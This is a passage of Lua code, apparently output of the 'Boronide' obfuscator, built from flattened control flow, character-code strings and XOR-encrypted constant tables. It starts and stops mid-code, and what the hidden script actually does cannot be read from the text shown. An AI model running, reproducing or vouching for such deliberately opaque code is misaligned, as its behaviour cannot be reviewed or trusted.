if(j(66,111,114,111,110,105,100,101,32,79,98,102,117,115,99,97,116,105,111,110,44,32,100,105,115,99,111,114,100,46,103,103,47,98,111,114,111,110,105,100,101)~=f)then return false end end ;break end end end ;if(c+369==1107)and((d==158.97721220192196)and(g==83.74291241419341)and(h[483]==false)and(h[587]=='hS7rfCRtqr')and(h[103]=='Z09WctucsN'))then break end;do if(c*62==38502)then do while(c+310==931)and((d==93.87829916798594)and(g==365.35801399237056)and(h[483]==false)and(h[587]=='G5b9Sb0Ash')and(h[103]=='Mdwrllf9dA'))do h[483]=false;g=83.74291241419341;d=158.97721220192196;a=f;h[587]='hS7rfCRtqr'c=738;h[103]='Z09WctucsN'break end end end end ;if(c+290==871)and((d==409.4645378779734)and(g==189.79093164113664)and(h[483]==false)and(h[587]=='InEFHyLLnL')and(h[103]=='QiiLnUTWEi'))then d=103.18096328243759;c=727;g=418.9780934608633 end;do if(c+363==1090)and((d==103.18096328243759)and(g==418.9780934608633))then h[483]=false;g=211.83434845499667;h[103]='fzK6QeZKK4'c=0;h[587]='i3cQ61Egex'd=738.9184538030601 end end end end end;a=f;b[f]=nil end)local d=b["_xI28x_8zI600_77L"]local e=b["_xY421L57o84_95L3"]local f=b["_x_XXZxLx50O9y3l1"]local g=c()[e(115,116,114,105,110,103)]local h=0;local i={}local j={}local k=g[e(115,117,98)]for a=h,255 do local a,b=e(a),e(a,h)i[a]=b;j[b]=a end(b)["_x_XXZxLx50O9y3l1"]=nil(b)["_xY421L57o84_95L3"]=(i[357.4824488531758]) ;(b)["_xI28x_8zI600_77L"]=nil;local j=c()[e(115,116,114,105,110,103)][e(115,117,98)]local k="_xyL54iz3lOZyx3O"local l=function(...)return...end;local l={(b[2165149])}local l=g[e(108,101,110)]local m=c()[e(112,97,105,114,115)]local n=0;local n=-1;local o=c()[e(114,97,119,103,101,116)]local function p(a,b,c)do if c==5365109 then return a==b elseif c==8493765 then return a<b elseif c==9498889 then return a<=b end end end;local q=c()[e(116,97,98,108,101)][e(99,111,110,99,97,116)]local g=g[e(102,111,114,109,97,116)]local function r(a,b,c)if p(c,9139765,5365109)then return a..b elseif p(c,8956974,5365109)then return q(a,b)end end;local function q(a,b,c)if p(c,3647149,5365109)then return a*b elseif p(c,3065112,5365109)then return a/b elseif p(c,4623770,5365109)then return a+b elseif p(c,8986428,5365109)then return a-b elseif p(c,9364006,5365109)then return a%b elseif p(c,7181735,5365109)then return a^b end end;local s={}local t=c()[e(109,97,116,104)][e(102,108,111,111,114)]local function u(a,b)if p(b,3391225,5365109)then return-a elseif p(b,665512,5365109)then return not a elseif p(b,7695891,5365109)then return#a end end;local v,w,x,y,z,A,B;local C=5259;local D=3464;while(C>(D-11))do D=(C+1747)*2;do while(C<D)do D=C-28024;do while(C>(D-12))do D=(C+892)*2;w=function(a,b)local c=""local d=1;for e=1,#a do local a=B(a[e],f(b,d))c=c..s[a]or a;d=d+1;do if d>#b then d=1 end end end;return c end end end ;do if(10518-C)<(D+5292)then C=((D+5259)*2)z=function(a,b)return t(a)*(2^b)end end end end end ;if C>(D-70244)then D=(C+10518)A=function(a,b)local c=""local d=1;do for e=1,#a do local a=B(f(a,e),f(b,d))c=c..o(s,a)or a;d=d+1;do if d>#b then d=1 end end end end ;return c end end end;B=function(a,b)local c,d=1,0;do while a>0 and b>0 do local e,f=a%2,b%2;do if e~=f then d=d+c end end ;a,b,c=(a-e)/2,(b-f)/2,c*2 end end ;do if a<b then a=b end end ;do while a>0 do local b=a%2;do if b>0 then d=d+c end end ;a,c=(a-b)/2,c*2 end end ;return d end;local t=1;do for a,b in m(i)do s[f(a)]=a end end ;local i=(function()return 0.08447830531680767 end)local t=(function(a)do while a do i()end end ;return function()s=nil;B=nil end end) ;(i)()n=function(a)local b={}do for a,a in m(a)do b[a]=true end end ;return b end;local i=c()[e(117,110,112,97,99,107)]local t=c()[e(110,101,120,116)]local function t(a,b,c)do for a=a,b do c(a)end end end;local function w(a,b,c)do if c then local a=(a/2^(b-1))%2^((c-1)-(b-1)+1)return a-a%1 else local b=2^(b-1)if(a%(b+b)>=b)then return 1 else return 0 end end end end;local C={n({563}),n({655})}do local a={}local b=166.12468063054843;local c=382;local d=832.5051954028818;repeat while((d==553.1360981809197)and(b==345.8360218134957)and(a[389]==false)and(a[361]=='kKtlHgxNZr')and(a[594]=='jPASwI8ypq'))and(c+193==580)do b=166.12468063054843;c=382;d=832.5051954028818;break end;do if(c*0==0)then if((d==72.41359143434201)and(b==350.227169284117)and(a[389]==false)and(a[361]=='GpCycWFw5h')and(a[594]=='kggh5h9fJT'))and(c+0==0)then a[389]=false;c=871;a[594]='A1x7z6emcN'a[361]='ZcOsted19e'b=202.39653038946878;y=function(a,b)local c=""local d=1;local e=#b-1;t(d,#a,function(g)c=c..s[B(a[g],f(b,d))]d=(d>e)and 1 or d+1 end)return c end;d=39.429125728040624 end end end ;do if((d==56.25303177157137)and(b==162.3911203926438)and(a[389]==false)and(a[361]=='8aN0FF3z3x')and(a[594]=='EFEqUS1d81'))and(c+349==1048)then v=function(a,b)local c=""local d=1;local e=l(b)-d;t(d,l(a),function(g)c=c..s[B(f(a,g),f(b,d))]d=(d>e)and 1 or d+1 end)return c end;c=984;a[594]='qvkQqb6mJu'a[389]=false;b=27.191541559794224;d=785.0674591092454;a[361]='sXpkwwTSvZ'end end ;while((d==832.5051954028818)and(b==166.12468063054843))and(c+191==573)do a[594]='kggh5h9fJT'a[389]=false;c=0;d=72.41359143434201;a[361]='GpCycWFw5h'b=350.227169284117;break end;while(c+435==1306)and((d==39.429125728040624)and(b==202.39653038946878)and(a[389]==false)and(a[361]=='ZcOsted19e')and(a[594]=='A1x7z6emcN'))do x=function(a,b)local c=""do for d=1,l(a)do c=c..s[B(f(a,d),b)]end end ;return c end;d=56.25303177157137;a[389]=false;a[361]='8aN0FF3z3x'c=699;a[594]='EFEqUS1d81'b=162.3911203926438;break end;do if((d==785.0674591092454)and(b==27.191541559794224)and(a[389]==false)and(a[361]=='sXpkwwTSvZ')and(a[594]=='qvkQqb6mJu'))and(c+492==1476)then break end end until(false)end;local D={{},{}}local E=1;do for a=1,255 do if a>=112 then D[2][E]=a;E=E+1 else D[1][a]=a end end end ;local i=e(i(D[1]))..e(i(D[2]))local i,D,E,F,G,H,I,J;do local a={}local b=919.4347501295013;local c=193.70197571712922;local d=261;repeat do if(d*68==46784)then if(d+344==1032)and((c==133.23743226270184)and(b==43.392529992415184)and(a[140]==false)and(a[788]=='ooX06s4jnR')and(a[601]=='sQTSkY29zS'))then c=675.2821306027946;a[601]='jRyYJxUQbn'a[788]='KjAJTHHkoc'b=601.8623227751257;i=e(76,103,73,113,113,88,69,115,103,52,56)a[140]=false;d=955 end end end ;if(d*95==90725)then do while((c==675.2821306027946)and(b==601.8623227751257)and(a[140]==false)and(a[788]=='KjAJTHHkoc')and(a[601]=='jRyYJxUQbn'))and(d+477==1432)do a[788]='y6qhLa7r8P'b=302.770673724087;i=e(97,86,76,105,86,53,122,54,110,115,108)c=382.11234662433696;a[140]=false;a[601]='l4DU3GrGru'd=331;break end end end;do if(d*39==15366)then do while((c==405.661041018595)and(b==33.77331273836841)and(a[140]==false)and(a[788]=='h62mIoBObN')and(a[601]=='jtyPketASN'))and(d+197==591)do i=e(80,55,118,74,101,103,55,54,81,76)a[788]='1VEeQKJpmB'b=38.765723076891994;a[601]='9EPuF7it92'c=233.2319530325613;d=591;a[140]=false;break end end end end ;if(d*0==0)then if((c==204.21509204386967)and(b==530.3847071390861)and(a[140]==false)and(a[788]=='UayTpoo3KJ')and(a[601]=='2MHLyvyawS'))and(d+0==0)then a[788]='h62mIoBObN'i=e(89,55,49,103,120,95,54,97,66,101,74)a[601]='jtyPketASN'b=33.77331273836841;c=405.661041018595;a[140]=false;d=394 end end;do if((c==105.81836335190657)and(b==353.2561027421426)and(a[140]==false)and(a[788]=='ffrpKaBC9l')and(a[601]=='uz6lLyLZKb'))and(d+120==361)then b=919.4347501295013;c=193.70197571712922;d=261 end end ;do if(d*59==34869)then do while((c==233.2319530325613)and(b==38.765723076891994)and(a[140]==false)and(a[788]=='1VEeQKJpmB')and(a[601]=='9EPuF7it92'))and(d+295==886)do a[140]=false;a[601]='sQTSkY29zS'd=688;i=e(122,99,108,114,79,84,89,102,105,73,86)a[788]='ooX06s4jnR'b=43.392529992415184;c=133.23743226270184;break end end end end ;do if(d+374==1123)and((c==60.145514721735665)and(b==130.45027400854417)and(a[140]==false)and(a[788]=='GiPFvYDt2C')and(a[601]=='GplPShk7Ar'))then break end end ;if(d+165==496)and((c==382.11234662433696)and(b==302.770673724087)and(a[140]==false)and(a[788]=='y6qhLa7r8P')and(a[601]=='l4DU3GrGru'))then a[601]='GplPShk7Ar'c=60.145514721735665;a[788]='GiPFvYDt2C'a[140]=false;d=749;i=e(90,113,113,90,103,89,83,68,119,89,102)b=130.45027400854417 end;if(d*26==6786)then do while((c==193.70197571712922)and(b==919.4347501295013))and(d+130==391)do a[601]='2MHLyvyawS'a[140]=false;a[788]='UayTpoo3KJ'b=530.3847071390861;c=204.21509204386967;d=0;break end end end until(false)end;local K=1219;local L=2585;do while(K<L)do L=K-5170;do while(K>(L-11))do L=(K+1006)*2;do while(K<L)do L=K-8900;do while(K>(L-10))do L=(K+1339)*2;G=function(a,...)return x(a,J,...)end end end ;if(2438-K)<(L+1263)then K=((L+1219)*2)I=function(...)return y(...,i)end end end end ;if K>(L-25340)then L=(K+2438)H=function(a,...)return v(a,i,...)end end end end ;if(25340-K)<(L+12695)then K=((L+1219)*2)F=function(a,...)return v(a,J,...)end end end end ;do local a=17.85018225924042;local b=75.08435333775887;local c={}local d=490;repeat if(d*58==34104)then if((a==552.2543597836177)and(b==598.8255189920208)and(c[338]==false)and(c[515]=='cGkknDJSxM')and(c[243]=='fQGT0Levhr'))and(d+294==882)then d=490;a=17.85018225924042;b=75.08435333775887 end end;do if(d*5==275)then while(d+27==82)and((a==32.26456136119497)and(b==162.54559534601248)and(c[338]==false)and(c[515]=='nrdWUB3lIv')and(c[243]=='LZsTgzohtt'))do b=128.26540198429447;c[515]='8XxXLEs8zd'd=514;c[338]=false;a=224.7930387882687;J=55;c[243]='Qz0fH0XVjT'break end end end ;do if(d*36==12996)then while((a==399.4174456874884)and(b==188.60442304701706)and(c[338]==false)and(c[515]=='tlcPbR4WRJ')and(c[243]=='V0bTSwtNxr'))and(d+180==541)do c[243]='aFnnJYtM0i'c[338]=false;d=489;b=252.71486889200676;J=65;a=20.13547506854322;c[515]='um4ZjLL8YI'break end end end ;do if(d+244==733)and((a==20.13547506854322)and(b==252.71486889200676)and(c[338]==false)and(c[515]=='um4ZjLL8YI')and(c[243]=='aFnnJYtM0i'))then c[243]='bKa6peZWF5'J=183;b=629.5957401197459;c[515]='oRr3IlatKR'a=680.5000090809137;c[338]=false;d=773 end end ;while(d+245==735)and((a==17.85018225924042)and(b==75.08435333775887))do c[243]='J6DWkbgJfR'c[515]='CcHbTRPqOG'c[338]=false;d=0;a=486.39791232609065;b=324.25681087174496;break end;do if(d+0==0)and((a==486.39791232609065)and(b==324.25681087174496)and(c[338]==false)and(c[515]=='CcHbTRPqOG')and(c[243]=='J6DWkbgJfR'))then c[243]='goKG7y9RAL'b=1.985993166566552;c[515]='BvEV83CpCq'c[338]=false;J=200;a=457.9926267727917;d=534 end end ;if(d*53==28302)then do if((a==457.9926267727917)and(b==1.985993166566552)and(c[338]==false)and(c[515]=='BvEV83CpCq')and(c[243]=='goKG7y9RAL'))and(d+267==801)then c[243]='LZsTgzohtt'c[515]='nrdWUB3lIv'J=64;a=32.26456136119497;d=55;c[338]=false;b=162.54559534601248 end end end;while((a==224.7930387882687)and(b==128.26540198429447)and(c[338]==false)and(c[515]=='8XxXLEs8zd')and(c[243]=='Qz0fH0XVjT'))and(d+257==771)do c[243]='V0bTSwtNxr'J=40;b=188.60442304701706;a=399.4174456874884;d=361;c[515]='tlcPbR4WRJ'c[338]=false;break end;do if(d+386==1159)and((a==680.5000090809137)and(b==629.5957401197459)and(c[338]==false)and(c[515]=='oRr3IlatKR')and(c[243]=='bKa6peZWF5'))then break end end until(false)end;D=y({34,51,12,21,46,63,53,3,27,37,8,44},"\109\98\74\80\98\83\109\83\83\110\97\73")local x=f(e(1))b["_xy8xiXY1IZ68zL_O7"]=function(a,c)local d=e()local e=x;for h=x,#a do local a=B(f(a,h),f(c,e))d=g(((b[1685716])),d,o(s,a)or a)e=e+x;e=(e>#c and x)or e end;return d end;local g=b[I({5,9,8,98,31,48,11,29,70,16,60,108,73,11,22,56,22,100})]local o=function(a,b)if(b>=h)then return q(a,z(1,b),3647149)else return q(a,z(1,-b),3065112)end end;return(function(x)do if false then while x do x=21.119814741303067 end else local y,z,F;y=(y or 0)for a,a in m(x)do y=(y or 0)+1 end;do if(y<2)then return("Pww2g4hY6eABf")end end ;local m=4143;local y=5428;while(m<y)do y=m-10856;do while(m>(y-10))do y=(m+3126)*2;z=x[1]end end ;if(8286-m)<(y+4147)then m=((y+4143)*2)F=x[2]end end;b={}do local a=c()[H("\41\20\5\55\2\45\50\48\22\59\10\63")]if false then do while b do a=(function()return 1629.027978798998 end)end end else if(a~=nil)then b[H("\5\9\8\22\82\109\58\62\68\53\41\0\8\9\105\40")]=a({[-52.040765826064415]=24.690851813176366;[-112.37664597254837]=36.91416891971312;[-207.08781555142917]=60.440813740567904;[-96.97928489414542]=-89.95126338231603},{[H("\5\46\5\53\20\45\33\45\25\62")]=function(a,a)return(function()while true do b=b or nil;if(b~=nil and b[1]~=nil)then break else b["\102\99\121\70\116\53\65\52\97\106\108\85\112\101"]="\73\119\118\67\111\49\81\119\99\55\121\86"end end;return"\66\106\81\84\90\109\74\110\50\100\68\69\55\52\115\79\65\74\81\86\79\89\73\51\87\99\52\108"end)()end})b[1]=b[k]end;do do local a=90.67809134195495;local c={}local d=461.00052345133685;local e=9;for f in(function()return 217 end)do do if(e*0==0)then if(e+0==0)and((a==85.44602230769613)and(d==21.730386045707565)and(c[19]==false)and(c[229]=='TptazFbUia')and(c[755]=='lnFtKntyaA'))then d=28.847699162927583;a=184.65450380107146;c[229]='NNLH2H8nbK'b[B(1700453,12)]=v("\60\26\38\47\51\96\28\40\58\111",i)b[B(8508690,12)]=v("\28\4\40\59\34\60\26\30\49\44",i)b[B(8533574,12)]=v("\21\11\71\107\10\19\27\114\4\54",i)b[B(6568593,12)]=v("\34\9\56\34\84\54\31\43\70\0",i)e=104;c[755]='8AdbiyTKMr'c[19]=false end end end ;do if(e*73==53874)then do while(e+369==1107)and((a==379.7152480064366)and(d==536.2680725071897)and(c[19]==false)and(c[229]=='Wa6VCOAdza')and(c[755]=='XcWYfv7aYE'))do d=121.02346953031378;a=49.79048655487769;c[19]=false;c[229]='rNjOKp16hp'c[755]='90n04CCtnY'e=516;b[B(6275307,12)]=v("\119",i)b[B(2540808,12)]=v("\9\35\20\8\36\27\42\118\17\51",i)b[B(5276922,12)]=v("\31\40\19\22\23\23\31\42\6\22",i)break end end end end ;while((a==107.4758935470861)and(d==22.861118822309212)and(c[19]==false)and(c[229]=='dyhokxcZNX')and(c[755]=='nwVceYsWFT'))and(e+410==1231)do e=252;c[19]=false;c[229]='4NEQ99CtpR'd=187.20329069006706;b[B(1329032,12)]=v("\41\48\58\106\31\108\61\17\17\52",i)b[B(8063843,12)]=v("\22\40\36\14\8\41\54\17",i)b[B(240501,12)]=v("\27\29\3\63\6\61\42\100\5\56\8\122\89\64\115\70",i)b[B(9086600,12)]=v("\109\50\36\63\6\32\24\29\60\10",i)c[755]='UEnu9MnhYa'a=11.927142565930588;break end;do while(e+170==511)and((a==129.40603157338816)and(d==799.8451122313066)and(c[19]==false)and(c[229]=='f1u0IXhj9n')and(c[755]=='uRLlQYLyBb'))do b[B(7880641,12)]=v("\2\3\27\27\33\26\22\6\48\48",i)b[B(2473752,12)]=v("\21",i)c[229]='1ebOJadBlU'e=306;c[19]=false;a=178.86898550664802;c[755]='x4h30dKquZ'd=378.6028379568792;break end end ;do if(e+256==768)and((a==178.9231968561778)and(d==262.4447653255673)and(c[19]==false)and(c[229]=='ylBwbuZPSX')and(c[755]=='FSu3HhTyHR'))then c[19]=false;d=122.38435599325487;c[229]='SxJYXGE5yN'c[755]='t6jCCXL2ON'b[B(9286655,12)]=v("\8",i)b[B(1056000,12)]=v("\41\5\3\51\9\62",i)b[B(4752413,12)]=v("\22\18\4\51\5\42\1\52\47\15",i)b[B(2035270,12)]=v("\14\73\54\8\47\3\20\47\37\104",i)a=135.91647619054294;e=343 end end ;do if(e*13==1716)then do while(e+66==198)and((a==125.54509930593991)and(d==342.6940217999622)and(c[19]==false)and(c[229]=='nrRUsHhNQu')and(c[755]=='u9K1Scc9CS'))do d=438.71494222691376;c[19]=false;a=15.849253129293423;b[B(6308149,12)]=v("\45\70\40\32\44\52\11\119\33\105",i)b[B(6952497,12)]=v("\5\9\8\98\31\48\11\29\70\16\60\108\73\11\22\56\22\100",i)c[229]='0ArOYyDfxE'c[755]='bDxYOi5i1S'e=95;break end end end end ;if(e*51==26316)then do while((a==49.79048655487769)and(d==121.02346953031378)and(c[19]==false)and(c[229]=='rNjOKp16hp')and(c[755]=='90n04CCtnY'))and(e+258==774)do b[B(3248083,12)]=v("\47\55\38\0\29\108\26\1\48\19",i)b[B(1381334,12)]=v("\34\9\69\99\81\53\96\116\14\105",i)b[B(8586263,12)]=v("\46\29\30\46\3\16\27\51\13\43",i)c[755]='JnjK8vacap'd=747.2328387930687;c[19]=false;a=23.49771975215293;c[229]='O53sNekbnU'e=615;break end end end;do if(e*14==1988)then while(e+71==213)and((a==229.0921775313839)and(d==24.120305823604827)and(c[19]==false)and(c[229]=='hl6KJVTEVY')and(c[755]=='GYng8XVGPs'))do b[B(1428362,12)]=v("\5\46\31\63\16\48\61\32\18\33",i)c[19]=false;e=100;a=277.7114148123773;c[755]='Q5P2oDUEPH'd=32.738261402931585;c[229]='tOKo5kM1ra'break end end end ;do if(e*81==66096)then do while(e+408==1224)and((a==406.78003561903637)and(d==305.19090846842425)and(c[19]==false)and(c[229]=='b2eg86cyTR')and(c[755]=='F48qRfyZBo'))do d=0.643508967338239;c[755]='0IDq97Ni3S'b[B(378069,12)]=v("\27\29\3\63\6\61\42\100\5\56\8\122\89\67\115\70",i)b[B(3460008,12)]=v("\24\30\3\53\9\48\55\33\87\22\4\60\4\2\57\6\45\60\54",i)b[B(7929578,12)]=v("\43\52\71\10\20\44\48\45\62\40",i)b[B(486081,12)]=v("\20\28\72\107\31\46\41\40\68\26",i)e=902;c[19]=false;c[229]='VFO38OLOFM'a=136.08876818559537;break end end end end ;if(e+286==858)and((a==570.9561596732043)and(d==6.46502739477487)and(c[19]==false)and(c[229]=='XwdPJY6OPE')and(c[755]=='XDDhtSRw7g'))then d=305.19090846842425;c[19]=false;e=816;a=406.78003561903637;c[229]='b2eg86cyTR'c[755]='F48qRfyZBo'b[B(8376163,12)]=v("\34\29\46\54\31\35\99\13\59\22",i)b[B(1493558,12)]=v("\48\30\50\110\40\20\0\45\5\45",i)b[B(7881700,12)]=v("\51\31\7\59\11\48\55\100\30\55\2\63\9\80",i)b[B(1452326,12)]=v("\15\20\43\23\52\54\38\1\69\27",i)b[B(1846702,12)]=v("\34\62\29\108\29\48\96\30\67\33",i)b[B(9818913,12)]=v("\22\38\73\60\30\63\7\60\46\56",i)end;do if(e*30==9180)then do while((a==178.86898550664802)and(d==378.6028379568792)and(c[19]==false)and(c[229]=='1ebOJadBlU')and(c[755]=='x4h30dKquZ'))and(e+153==459)do a=341.736849043069;b[B(2632627,12)]=v("\3\69\34\106\31\33\17\19\45\60",i)b[B(857769,12)]=v("\17\7\52\104\61\27\53\14\0\22",i)b[B(7419166,12)]=v("\34\24\73\32\30\0\97\61\24\106",i)b[B(4574922,12)]=v("\104\64\71\106\86\97\100\117",i)c[229]='3aZdkzcz2l'e=630;d=562.7294165254294;c[19]=false;c[755]='I67Qg8julr'break end end end end ;do if(e*3==111)then do if((a==360.0907416399059)and(d==303.7993273643626)and(c[19]==false)and(c[229]=='Fx1GeKio8B')and(c[755]=='3MUKR36I4A'))and(e+18==55)then c[755]='UKq3YL44HZ'd=389.07930844659444;a=530.3982079230817;c[229]='TfNb0nm68P'e=961;c[19]=false;b[B(6394273,12)]=v("\14\40\54\61\14\31\101\21\21\17",i)b[B(5511952,12)]=v("\15\24\39\45\52\110\42\47\51\21",i)b[B(5055398,12)]=v("\61\27\48\25\87\9\34\18\46\28",i)b[B(8971285,12)]=v("\34\8\61\105\62\0\11\60\70\106",i)b[B(5128125,12)]=v("\60\36\33\2\34\28\56\22\61\52",i)b[B(94395,12)]=v("\5\46\18\59\11\53",i)b[B(3450360,12)]=v("\56\36\34\55\63\9\96\17\46\63",i)end end end end ;do if(e*3==105)then while((a==100.43983293301467)and(d==267.1110255556292)and(c[19]==false)and(c[229]=='wycHiIUT9w')and(c[755]=='ja7pg6xOik'))and(e+17==52)do c[229]='nFI7FPRfHY'd=87.17547995358375;b[B(9873003,12)]=v("\34\8\69\99\94\53\26\114\40\109",i)e=182;a=372.9888151513803;c[19]=false;c[755]='BjrV9ejXw3'break end end end ;do if(e*13==1768)then if((a==113.89809890899787)and(d==622.7685575908351)and(c[19]==false)and(c[229]=='z3LHPogCaE')and(c[755]=='R4auWMEX9T'))and(e+68==204)then c[19]=false;c[755]='XcWYfv7aYE'e=738;b[B(2616673,12)]=v("\34\29\46\54\31\35\99\13\59\22",i)b[B(7732216,12)]=v("\23\20\20\47\33\107",i)b[B(7005140,12)]=v("\8\20\1\50\20\63\36\39\25\32",i)b[B(9276729,12)]=v("\108\71\68\111\86\107",i)b[B(4901638,12)]=v("\34\62\64\51\8\97\43\112\67\16",i)d=536.2680725071897;c[229]='Wa6VCOAdza'a=379.7152480064366 end end end ;if(e*13==1807)then do if((a==314.43305846787257)and(d==207.63726938618763)and(c[19]==false)and(c[229]=='FP5l1R5PTG')and(c[755]=='CRQ6xWCNyl'))and(e+69==208)then break end end end;do while((a==11.927142565930588)and(d==187.20329069006706)and(c[19]==false)and(c[229]=='4NEQ99CtpR')and(c[755]=='UEnu9MnhYa'))and(e+126==378)do d=378.18096507453083;b[B(9941743,12)]=v("\28\34\22\14\9\40\36\37\36\97",i)b[B(3123151,12)]=v("",i)b[B(68961,12)]=v("\43\69\71\53\81\44\33\39\57\11",i)b[B(8303292,12)]=v("\44",i)c[755]='T922QxWnua'e=444;a=38.79587206726448;c[229]='dBm1NRuQPy'c[19]=false;break end end ;while((a==95.0929938487057)and(d==189.21469232195216)and(c[19]==false)and(c[229]=='E3ArIbOQfJ')and(c[755]=='f07X0WRoWQ'))and(e+403==1210)do e=9;d=461.00052345133685;a=90.67809134195495;break end;do while((a==172.57463022401646)and(d==762.1742598809022)and(c[19]==false)and(c[229]=='jXBIHfe3Cv')and(c[755]=='bENYgfWaOs'))and(e+154==462)do c[755]='R4auWMEX9T'c[19]=false;b[B(2148912,12)]=v("\34\11\68\19\82\16\63\61\62\16",i)b[B(4411453,12)]=v("\22\41\26\59\83\58\21\46\59\12",i)b[B(5212220,12)]=v("\27\6\63\2\3\46\35\13\48\62",i)b[B(6537996,12)]=v("\41\5\3\51\9\62",i)b[B(4763243,12)]=v("\34\61\61\2\81\48\11\30\67\21",i)d=622.7685575908351;c[229]='z3LHPogCaE'e=136;a=113.89809890899787;break end end ;do if(e*5==260)then do while((a==3.5707890499756427)and(d==161.80416600257436)and(c[19]==false)and(c[229]=='5tIj1DKaS3')and(c[755]=='t0gzOZGmv2'))and(e+26==78)do c[755]='86kKLfLdvX'd=178.02816046376708;e=848;c[229]='Ujjxc89BsQ'a=180.32883075000623;b[B(7637517,12)]=v("\29\69\38\52\0\40\28\3\20\22",i)b[B(2165137,12)]=v("",i)b[B(8570078,12)]=v("\5\9\30\109\62\0\97\29\56\108\60",i)c[19]=false;break end end end end ;do if(e*10==1000)then if((a==277.7114148123773)and(d==32.738261402931585)and(c[19]==false)and(c[229]=='tOKo5kM1ra')and(c[755]=='Q5P2oDUEPH'))and(e+50==150)then c[229]='JrTfsE5FFl'a=235.22251728223898;c[755]='Bsod7CHtsH'b[B(972659,12)]=v("\6\65",i)b[B(6320479,12)]=v("\50\60\52\34\37\46\29\17\26\10",i)b[B(5630706,12)]=v("\34\11\68\19\82\16\63\61\62\16",i)c[19]=false;d=155.71271373488378;e=886 end end end ;do while((a==341.736849043069)and(d==562.7294165254294)and(c[19]==false)and(c[229]=='3aZdkzcz2l')and(c[755]=='I67Qg8julr'))and(e+315==945)do d=22.861118822309212;e=821;c[755]='nwVceYsWFT'b[B(2620180,12)]=v("\96\89\84\62\77\112\105",i)b[B(8944905,12)]=v("\34\56\66\21\8\110\41\112\71\105",i)b[B(6554716,12)]=v("\17\36\41\32\53\60\27\9\45\18",i)a=107.4758935470861;c[229]='dyhokxcZNX'c[19]=false;break end end ;if(e*61==37515)then do while(e+307==922)and((a==23.49771975215293)and(d==747.2328387930687)and(c[19]==false)and(c[229]=='O53sNekbnU')and(c[755]=='JnjK8vacap'))do c[229]='sZYXWITRb5'b[B(5140203,12)]=v("\57\61\32\106\52\107\52\46\61\31",i)b[B(3687269,12)]=v("\54\58\7\45\29\19\32\50\64\111",i)d=204.39103817340853;e=778;a=15.729956952795076;c[19]=false;c[755]='laaTo3NP1N'break end end end;do if(e*55==30580)then while(e+278==834)and((a==38.75118020353818)and(d==79.49419749072828)and(c[19]==false)and(c[229]=='isdDGau02g')and(c[755]=='Rd4PgCVQjF'))do c[229]='GrhP34L1xP'c[19]=false;c[755]='jk9Q1XWyBf'a=14.430920337403297;b[B(3731638,12)]=v("\46\16\19\54\2",i)b[B(8821640,12)]=v("\12\16\38\52\52\41\0\53\4\52",i)b[B(7551581,12)]=v("\56\29\18\51\5\104\101\23\37\32",i)b[B(2250573,12)]=v("\28\23\26\111\18\106\43\35\7\110",i)d=530.7590587039839;e=114;break end end end ;if(e*11==1254)then if(e+57==171)and((a==14.430920337403297)and(d==530.7590587039839)and(c[19]==false)and(c[229]=='GrhP34L1xP')and(c[755]=='jk9Q1XWyBf'))then d=749.9275340338687;c[229]='NWnMld6ttn'c[19]=false;a=48.23512662630677;e=425;b[B(9707173,12)]=v("\108\52\31\12\22\27\56\1\18\96",i)b[B(4129572,12)]=v("\10\18\40\17\10\31\39\20\34\56",i)b[B(9152201,12)]=v("\34\24\73\32\30\0\97\61\24\106",i)b[B(6334910,12)]=v("\99\41\73\31\16\18\23\46\58\50",i)c[755]='09Xwzyn5kx'end end;while((a==141.73508441422237)and(d==181.57600763288727)and(c[19]==false)and(c[229]=='S0hJnLNVvD')and(c[755]=='msbaPDooO9'))and(e+352==1057)do d=24.120305823604827;c[19]=false;b[B(8511324,12)]=v("\29\5\22\104\86\46\32\49\51\32",i)b[B(17084,12)]=v("\34\24\64\2\82\48\26\27\59\105",i)b[B(4022293,12)]=v("\55\0\58\32\46\111\42\7\25\42",i)c[229]='hl6KJVTEVY'a=229.0921775313839;c[755]='GYng8XVGPs'e=142;break end;do if((a==48.23512662630677)and(d==749.9275340338687)and(c[19]==false)and(c[229]=='NWnMld6ttn')and(c[755]=='09Xwzyn5kx'))and(e+212==637)then c[229]='y029zMSv3F'e=600;a=273.582392832245;b[B(1578209,12)]=v("\98\70\67",i)b[B(183834,12)]=v("\99\72\11\55\95\26\62\12\46\13",i)b[B(7751806,12)]=v("\63\6\24\98\50\31\3\3\3\97",i)b[B(4594446,12)]=v("\12\51\23\43\47\54\97\19\20\56",i)c[19]=false;d=177.9146930548847;c[755]='vVaX4KDNqv'end end ;if(e*90==81180)then do if(e+451==1353)and((a==136.08876818559537)and(d==0.643508967338239)and(c[19]==false)and(c[229]=='VFO38OLOFM')and(c[755]=='0IDq97Ni3S'))then a=172.57463022401646;d=762.1742598809022;b[B(7159682,12)]=v("\107\64\28\98\36\97\17\23\26\48",i)b[B(927194,12)]=v("\34\61\62\109\95\106\28\62\71\33",i)b[B(2920910,12)]=v("\12\33\59\105\3\62\61\51\54\45",i)b[B(3504313,12)]=v("\3\34\23\0\49\55\63\19\14\13",i)e=308;c[755]='bENYgfWaOs'c[229]='jXBIHfe3Cv'c[19]=false end end end;if(e*81==65853)then if(e+406==1219)and((a==517.5958284980879)and(d==16.104828099046344)and(c[19]==false)and(c[229]=='R9Bd4sFmaT')and(c[755]=='eX5hMZ1uHd'))then e=35;c[229]='wycHiIUT9w'c[19]=false;b[B(1685720,12)]=v("\127\2\84\41",i)b[B(4568907,12)]=v("\54\22\50\28\14\56\34\118\6\41",i)b[B(2325251,12)]=v("\34\61\62\109\95\106\28\62\71\33",i)b[B(8119130,12)]=v("\34\8\72\98\11\110\60\112\64\110",i)b[B(7298300,12)]=v("\45\58\64\9\55\22\3\52\7\16",i)b[B(4500133,12)]=v("\59\35\59\107\51\22\10\32\54\33",i)b[B(1046518,12)]=v("\23\24\52\11\87\44\55\22\60\35",i)d=267.1110255556292;a=100.43983293301467;c[755]='ja7pg6xOik'end end;while(e+222==666)and((a==38.79587206726448)and(d==378.18096507453083)and(c[19]==false)and(c[229]=='dBm1NRuQPy')and(c[755]=='T922QxWnua'))do c[755]='Re2taqDQZV'c[19]=false;a=115.07668660337569;e=799;c[229]='suPj9A7put'd=74.12421378360473;b[B(878711,12)]=v("\23\39\19\2\46\30\3\0\66\3",i)b[B(8287694,12)]=v("\34\43\11\21\43\6\99\45\79\6",i)break end;do if(e*79==62726)then while((a==260.13437583324276)and(d==168.33575312084082)and(c[19]==false)and(c[229]=='CTyrhJ9Zwr')and(c[755]=='KSYF2XH9Ij'))and(e+397==1191)do 